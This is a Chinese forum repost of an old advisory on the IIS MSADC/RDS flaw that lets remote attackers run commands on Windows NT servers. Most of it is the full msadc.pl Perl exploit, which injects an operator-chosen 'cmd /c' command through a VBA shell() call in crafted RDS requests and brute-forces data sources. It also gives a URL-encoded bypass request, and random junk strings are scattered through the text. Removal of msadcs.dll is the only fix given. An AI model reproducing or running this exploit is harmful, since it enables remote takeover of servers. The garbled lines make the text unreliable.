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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !WD~zZ|  
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涉及程序: hy?e?^  
Microsoft NT server kbF+aS  
NDv_@V(D  
描述: )Ap0" ?q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 sF=8E8qa   
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详细: etHkyF  
如果你没有时间读详细内容的话,就删除: A_vf3 *q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll NtnKS@Ht  
有关的安全问题就没有了。 r-+S^mOE]  
9/x_p;bI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 N=X(G(  
7Odw{pc  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 W7ffdODb  
关于利用ODBC远程漏洞的描述,请参看: 7<ZCeM2x  
;0!rq^JG  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {_{&t>s2  
KASw3!.W  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 PN&;3z Z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp jdF~0#vH  
(GNY::3  
这里不再论述。 R#QcQx  
WO=,NQOw  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: LBkAi(0rd  
Vg+jF!\7  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset iKu~o.yy  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4Nx]*\\  
[x.Dw U%S  
&oyj8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ef2#}%>  
o/U"'FP  
#!perl ~YX!49XfHh  
# &xGcxFd  
# MSADC/RDS 'usage' (aka exploit) script Q41eYzAi  
# a &89K  
# by rain.forest.puppy &74*CO9B9  
# qU) pBA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ZrA OX'>u9  
# beta test and find errors! i1kTP9  
0R0j7\{  
use Socket; use Getopt::Std; W r%E}mX-  
getopts("e:vd:h:XR", \%args); b2Jgg&?G  
z^q ~|7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ]5=C3Y  
l]GUQcN=  
if (!defined $args{h} && !defined $args{R}) { ?z2k 74&M^  
print qq~ 8@f=GJf  
Usage: msadc.pl -h <host> { -d <delay> -X -v } X~Yj#@  
-h <host> = host you want to scan (ip or domain) pxs#OP  
-d <seconds> = delay between calls, default 1 second > ,v,4,c  
-X = dump Index Server path table, if available EZ.|6oug\  
-v = verbose O\(0{qu  
-e = external dictionary file for step 5 h xCt[G@  
\R0&*cnmo  
Or a -R will resume a command session _qPd)V6yb  
^j1WF[GiSO  
~; exit;} lR9~LNK?  
abVz/R/o  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Y`x54_32  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} f[b x|6  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} e"sz jY~V  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); c-2##Pf_8O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K`25G_Y3@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } X R =^zp?  
yE\dv)(<  
if (!defined $args{R}){ $ret = &has_msadc; >c~ Fg s  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} lAM"l)Ij  
Of*z9 YI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^@&RJa-kb  
. "cmd /c "; BpGK`0H  
$in=<STDIN>; chomp $in; UqP %S$9  
$command="cmd /c " . $in ; % e@Jc 3  
!/6`< eQ `  
if (defined $args{R}) {&load; exit;} jNIZ!/K  
m),3J4(q  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; #_, l7q8U  
&try_btcustmr; $Y mD;  
>q:0w{.TU  
print "\nStep 2: Trying to make our own DSN..."; ^E5[~C*o3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `;@#yyj:_  
rdFeDZo&Z)  
print "\nStep 3: Trying known DSNs..."; jtMN)TM  
&known_dsn; "Zh6j)[o  
c&Mci"n j0  
print "\nStep 4: Trying known .mdbs..."; d0`5zd@S  
&known_mdb; pm*6&,  
k_2W*2'S  
if (defined $args{e}){ FK$?8Jp  
print "\nStep 5: Trying dictionary of DSN names..."; `xO9xo#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?W%9H\;  
o+H;ZGT5H  
print "Sorry Charley...maybe next time?\n";  {ws:g![  
exit; gX}(6RP_!  
-L&FguoVB  
############################################################################## ?E@ 9Nvr  
,~!rn}MI<  
sub sendraw { # ripped and modded from whisker `[.':"~2N  
sleep($delay); # it's a DoS on the server! At least on mine... >lo,0oG  
my ($pstr)=@_; ?0Qm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )1>fQ9   
die("Socket problems\n"); Kh!h_  
if(connect(S,pack "SnA4x8",2,80,$target)){ tr]=q9  
select(S); $|=1; YlZe  
print $pstr; my @in=<S>; }NQ {S3JW  
select(STDOUT); close(S); QT;mCD=OD  
return @in; /A U& X  
} else { die("Can't connect...\n"); }} $6ZO V/0  
6S;-fj  
############################################################################## f$lf(brQ:  
Ol,Tw=?  
sub make_header { # make the HTTP request qc*z`Wz:  
my $msadc=<<EOT SWX;sM  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9` /\|t|V  
User-Agent: ACTIVEDATA ^<0azza/(  
Host: $ip Lh%>> Ht{  
Content-Length: $clen }*2q7K2bj  
Connection: Keep-Alive z;dD }Fo  
#1:&uC1vj  
ADCClientVersion:01.06 CvwC| AW  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 uZe|%xK$y  
yW&|ZJF?  
--!ADM!ROX!YOUR!WORLD! o;+J3\  
Content-Type: application/x-varg 26Y Y1T\B)  
Content-Length: $reqlen ?mK`Wleh?  
Ip/_uDi+!Z  
EOT ,= ;d<O8  
; $msadc=~s/\n/\r\n/g; o%+8.Tx6wT  
return $msadc;} O\64)V 0  
YQzs0t ,  
############################################################################## D&0@k'  
Y7{9C*>  
sub make_req { # make the RDS request I/ pv0  
my ($switch, $p1, $p2)=@_; K<HF!YU#I2  
my $req=""; my $t1, $t2, $query, $dsn; \X5>HPB  
3Z *'  
if ($switch==1){ # this is the btcustmr.mdb query s V70a 3#  
$query="Select * from Customers where City=" . make_shell(); !5rja-h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . SBnwlM"AN  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /( /)nYAjk  
E6iUa'  
elsif ($switch==2){ # this is general make table query Rh7unJ  
$query="create table AZZ (B int, C varchar(10))"; MPINxS  
$dsn="$p1";} \($EYhx  
QGtKu:c.81  
elsif ($switch==3){ # this is general exploit table query w l.#{@J]<  
$query="select * from AZZ where C=" . make_shell(); A$K>:Tt>  
$dsn="$p1";} (fc /"B-  
r-#23iT.~  
elsif ($switch==4){ # attempt to hork file info from index server 8Y.25$  
$query="select path from scope()"; ORPQ1%tu  
$dsn="Provider=MSIDXS;";} ^^[MDjNy@  
Cd:ofv/3  
elsif ($switch==5){ # bad query x)M=_u2 _  
$query="select"; T{1Z(M+  
$dsn="$p1";} i"}%ib*X  
%KxL{ HY  
$t1= make_unicode($query); 5>J{JW|  
$t2= make_unicode($dsn); A^PCI*SN[  
$req = "\x02\x00\x03\x00"; CD\k.  
$req.= "\x08\x00" . pack ("S1", length($t1)); ]XX8l:+  
$req.= "\x00\x00" . $t1 ; BJgg-z{Y  
$req.= "\x08\x00" . pack ("S1", length($t2)); F&r+"O)^-R  
$req.= "\x00\x00" . $t2 ; nwlo,[  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Y[=Gv6Fr  
return $req;} S/j~1q_|G  
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############################################################################## :IFTiq5a;  
7xAzd# c?=  
sub make_shell { # this makes the shell() statement zi~_[l-  
return "'|shell(\"$command\")|'";} )NeI]p  
VmLV:"P}^  
############################################################################## A&#P=m j  
%;UEyj  
sub make_unicode { # quick little function to convert to unicode 2.=3:q!H<%  
my ($in)=@_; my $out; rA9BY :N@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } eWvL(2`Tx  
return $out;} bXoj/zek  
!br0s(|  
############################################################################## ?MevPy`H  
>W,1s  
sub rdo_success { # checks for RDO return success (this is kludge) ,5jE9  
my (@in) = @_; my $base=content_start(@in); =/@c9QaV B  
if($in[$base]=~/multipart\/mixed/){ z= pb<Y@X  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} IxwOzpr  
return 0;} &:g5+([<  
OczVObbS  
############################################################################## "x&hBJ  
e-;$Iv  
sub make_dsn { # this makes a DSN for us ag*RQ  
my @drives=("c","d","e","f"); eR.ucTji  
print "\nMaking DSN: "; m|<j9.iJ  
foreach $drive (@drives) { jIx5_lFe  
print "$drive: "; cT abZc  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . >jjuWO3T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @DYxxM-  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @&;y0N1xo  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k~WX6rEJ  
return 0 if $2 eq "404"; # not found/doesn't exist AY['!&T  
if($2 eq "200") { [xT2c.2__J  
foreach $line (@results) { noiUi>G;:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 6 flc  
} return 0;} \HFeEEKH  
g+gHIb7{  
############################################################################## Uv,_VS(  
D'e'xU  
sub verify_exists { lJ!+n<K+  
my ($page)=@_; JFVal#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T69'ta32V  
return $results[0];} HVzG }r(J  
'ypJGm  
############################################################################## SS@F:5),  
4CO:*qG)o  
sub try_btcustmr { (9x8,f0z  
my @drives=("c","d","e","f"); CW>f;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); {.2A+JT,  
n|F$qV_p\  
foreach $dir (@dirs) { cCN[c)[c|  
print "$dir -> "; # fun status so you can see progress L_uliBn  
foreach $drive (@drives) { O#Ab1FQn  
print "$drive: "; # ditto \?)@ #Qs  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 6P;JF%{J  
$reqlenlen=length( "$reqlen" ); .3k"1I '\  
$clen= 206 + $reqlenlen + $reqlen; &Mbpv)V8  
;Dg8>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ETe,RY  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8Z%C7 "4O  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} s  bV6}  
v/6QE;BY&Q  
############################################################################## 7>`QX%  
"YD<pRVB  
sub odbc_error { :%qJAjR&  
my (@in)=@_; my $base; 1lu _<?O  
my $base = content_start(@in); -?n|kSHX  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this V}ZF\SG(K  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lqe;lWC0Z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rJK3;d?E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A][\L[8X  
return $in[$base+4].$in[$base+5].$in[$base+6];} l=%v  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Px:PoOw\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (</cu$w>H)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Dt\F]\6sd  
I0oM\~#  
############################################################################## Ro`Hm8o/  
nb0V~W  
sub verbose { qCOe,$\1/  
my ($in)=@_; G@b|{!  
return if !$verbose; bWAhK@epI  
print STDOUT "\n$in\n";} _O ~DJ"  
'VCF{0{H~  
############################################################################## s)W^P4<  
8E1swH5 z  
sub save { 3=V79&  
my ($p1, $p2, $p3, $p4)=@_; NK'awv),pM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; RajzH2j+>  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; +K2jYgy  
close OUT;} =p|,~q&i  
?cf9q@eAH  
############################################################################## YuXq   
'cJHOd  
sub load { [9NzvC 9I  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C0;c'4(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); zuR!,-W  
@p=<IN>; close(IN); >lxhXYp  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^'r/;(ZF*/  
$target= inet_aton($ip) || die("inet_aton problems"); n\&[^Q#b|  
print "Resuming to $ip ..."; CGvU{n,"  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; he;;p="!*  
if($p[1]==1) { 1I^[_ /_\y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; s<LF=qGu  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ziCTvT  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9.f/d4  
if (rdo_success(@results)){print "Success!\n";} h\afO  
else { print "failed\n"; verbose(odbc_error(@results));}} K"-.K]O8E%  
elsif ($p[1]==3){ H\AJLk2E  
if(run_query("$p[3]")){ -L(F:  
print "Success!\n";} else { print "failed\n"; }} DQY*0\  
elsif ($p[1]==4){ u-0-~TwD  
if(run_query($drvst . "$p[3]")){ !\.x7N<)0  
print "Success!\n"; } else { print "failed\n"; }} *j RNpB{)z  
exit;} UOy9N  
'+^HeM^;  
############################################################################## <7cm[  
!lp *0h(7  
sub create_table {  U=MFNp+  
my ($in)=@_; N=lFf+  
$reqlen=length( make_req(2,$in,"") ) - 28; |]sh*<:?,  
$reqlenlen=length( "$reqlen" ); GZQy~Uk~  
$clen= 206 + $reqlenlen + $reqlen; w N9I )hB  
my @results=sendraw(make_header() . make_req(2,$in,"")); F ?xbVN  
return 1 if rdo_success(@results); _U;z@  
my $temp= odbc_error(@results); verbose($temp); >p Y0f }  
return 1 if $temp=~/Table 'AZZ' already exists/; 9 m MPkgc  
return 0;} \&|)?'8rS  
PJLSDIeN  
############################################################################## {Sm^F  
Vr0-evwfo  
sub known_dsn { pTPWToKh  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go I5PI;t+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ZG>I[V'p=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", E$dPu  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); VeidB!GyP  
:hB/|H*=  
foreach $dSn (@dsns) { ~#+ Hhc(  
print "."; JSCe86a7<E  
next if (!is_access("DSN=$dSn")); hDI_qZ  
if(create_table("DSN=$dSn")){ 0@ []l{N  
print "$dSn successful\n"; oA`'~~!  
if(run_query("DSN=$dSn")){ uH S)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B B*]" gT  
print "Something's borked. Use verbose next time\n";}}} print "\n";} wB~Ag$~  
Z}6   
############################################################################## !=M[u+-  
86$9)UI  
sub is_access { +c!v%uX  
my ($in)=@_; Ub!MyXd{q  
$reqlen=length( make_req(5,$in,"") ) - 28; Bfwa1#%?  
$reqlenlen=length( "$reqlen" ); :G\f(2@  
$clen= 206 + $reqlenlen + $reqlen; ~p^&` FA  
my @results=sendraw(make_header() . make_req(5,$in,"")); NrPs :`  
my $temp= odbc_error(@results); cX u"-/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8%v1[W i  
return 0;} dUiv+K)ccQ  
GF[onfQY7  
############################################################################## $ \0)~cy  
X@JrfvKv[d  
sub run_query { Kk|uN#m  
my ($in)=@_; /ghXI"ChI  
$reqlen=length( make_req(3,$in,"") ) - 28; Lq.aM.&;#  
$reqlenlen=length( "$reqlen" ); ibo{!>m  
$clen= 206 + $reqlenlen + $reqlen; U {Xg#UN  
my @results=sendraw(make_header() . make_req(3,$in,"")); x TEDC,B  
return 1 if rdo_success(@results); k_$:?$  
my $temp= odbc_error(@results); verbose($temp); ^F/gJ3_;  
return 0;} 4sOo>.<x  
<]#'6'  
############################################################################## 7jP C{W  
eCHT) 35u  
sub known_mdb { uzjP!qO  
my @drives=("c","d","e","f","g"); =z`GC1]bL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j}~3m$  
my $dir, $drive, $mdb; Ao>] ~r0  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; i|A0G%m]$  
x%HX0= (  
# this is sparse, because I don't know of many CPGiKE  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 5lehASBz  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Fy_D[g  
"\\system32\\certmdb.mdb", ;^VLx)q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vqDd][n  
";\na!MT  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ha_&U@w  
"\\cfusion\\cfapps\\forums\\forums_.mdb", . Z 93S|q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", NJ\ID=3l  
"\\cfusion\\cfapps\\security\\realm_.mdb", n@IpO i$Q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^)|8N44O  
"\\cfusion\\database\\cfexamples.mdb", `rEu8u  
"\\cfusion\\database\\cfsnippets.mdb", c!n\?lB  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T 2Uu/^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 8bT]NvCA  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Hxe!68{aR  
"\\cfusion\\database\\smpolicy.mdb", dJ~AMol  
"\\cfusion\\database\cypress.mdb", O~Eju  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", z2:^Qg  
"\\website\\cgi-win\\dbsample.mdb", +zM WIG  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 8XFs)1s[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" q^5j&jx Vl  
); #these are just tB-0wD=PR  
foreach $drive (@drives) { JRfG]u6GU  
foreach $dir (@dirs){ CHxu%- g  
foreach $mdb (@sysmdbs) { "`;$wA  
print "."; ;VVKn=X=S=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :5`=9 _|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3 sUTdCnNf  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f'501MJu  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; T \d-r#{  
} else { print "Something's borked. Use verbose next time\n"; }}}}} a B(_ZX'L  
4#jW}4C{  
foreach $drive (@drives) { aPD4S&"Q  
foreach $mdb (@mdbs) { |T!ivd1G  
print "."; X; [$yW9hE  
if(create_table($drv . $drive . $dir . $mdb)){ 5cY([4,  
print "\n" . $drive . $dir . $mdb . " successful\n"; @ Gxnrh6  
if(run_query($drv . $drive . $dir . $mdb)){ z  u53mZ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; jx*jYil  
} else { print "Something's borked. Use verbose next time\n"; }}}} {p -q&k&R|  
} |ipL.<v7  
Pv@P(y?\  
############################################################################## pGS!Nn;K2  
,+LX.f&/8!  
sub hork_idx { V $'~2v{_  
print "\nAttempting to dump Index Server tables...\n"; :xqhPr]e  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; M.b1=Y  
$reqlen=length( make_req(4,"","") ) - 28; :2+,?#W  
$reqlenlen=length( "$reqlen" ); !h\>[O  
$clen= 206 + $reqlenlen + $reqlen; 6k569c{7  
my @results=sendraw2(make_header() . make_req(4,"","")); v D"4aw  
if (rdo_success(@results)){ 9 GEMmo3  
my $max=@results; my $c; my %d; Q)`3&b  
for($c=19; $c<$max; $c++){ QYl Pr&O9  
$results[$c]=~s/\x00//g; s @AGU/v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [diUO1p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dY|~"6d)  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; HP/f`8  
$d{"$1$2"}="";} 'IVNqfC)u  
foreach $c (keys %d){ print "$c\n"; } u`K)dH,  
} else {print "Index server doesn't seem to be installed.\n"; }} "}"hQ.kAz  
[w>T.b  
############################################################################## ] yg3|C;  
&A}@@d  
sub dsn_dict { Q7V*~{  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $q}zW%  
while(<IN>){ =t@8Y`9w  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; v@_^h}h/,=  
next if (!is_access("DSN=$dSn")); AcRrk  
if(create_table("DSN=$dSn")){ G3Z>,"w;=  
print "$dSn successful\n"; BC*)@=7fx  
if(run_query("DSN=$dSn")){ 4gyC?#Ede  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c:[z({`  
print "Something's borked. Use verbose next time\n";}}} I[P43>F3  
print "\n"; close(IN);} Ii*tux!S  
1W@ C]n4  
############################################################################## pK_n}QW  
Q:nBx[%  
sub sendraw2 { # ripped and modded from whisker 0j@nOj(3  
sleep($delay); # it's a DoS on the server! At least on mine... #ZzFAt  
my ($pstr)=@_; W>^WNo3YQ$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || '+ %<\.$  
die("Socket problems\n"); G&2UXr3  
if(connect(S,pack "SnA4x8",2,80,$target)){ q$#5>5&  
print "Connected. Getting data"; E[IjeJB5  
open(OUT,">raw.out"); my @in; h\]D:S  
select(S); $|=1; print $pstr; 8:D|[u;iG  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} `1O<UJX  
close(OUT); select(STDOUT); close(S); return @in; U"SH fI:  
} else { die("Can't connect...\n"); }} ,}8|[)"  
)\xDo<@  
############################################################################## >0^oC[ B  
\:7G1_o  
sub content_start { # this will take in the server headers n:TWZ.9  
my (@in)=@_; my $c; -MA/:EB  
for ($c=1;$c<500;$c++) { 9V]{q  
if($in[$c] =~/^\x0d\x0a/){ Vn7FbaO^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E2hy%y9Tp  
else { return $c+1; }}} NA=I7I@  
return -1;} # it should never get here actually \Uz7ar#,  
d3,%Z &  
############################################################################## ~tw#Q  
|8m2i1XG  
sub funky { D]P_tJI  
my (@in)=@_; my $error=odbc_error(@in); 7,^.h<@K  
if($error=~/ADO could not find the specified provider/){ O6 :GE'S  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; lMn1e6~K  
exit;} {hP_"nN#  
if($error=~/A Handler is required/){ vOF"p4 ^3  
print "\nServer has custom handler filters (they most likely are patched)\n"; V?yTJJ21X  
exit;} cPx] :sC  
if($error=~/specified Handler has denied Access/){ s|cL mL[  
print "\nServer has custom handler filters (they most likely are patched)\n"; 84X/=l-c=  
exit;}} By&ibN),  
v@qU<\Y>  
############################################################################## ;$il_xA)\>  
aAT!$0H  
sub has_msadc { 47/14rY 2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +VE ] .*T  
my $base=content_start(@results); { /u}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qD] &&"B  
return 0;} Exu5|0AAE  
}=7? & b  
######################## 2:8p>^g=  
<SPT2NyX  
h?D>Dfeg%  
解决方案: z\kiYQ6kA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll l- mt{2  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5`3Wua  
Q 1:7 9  
拿出来充数 哈哈
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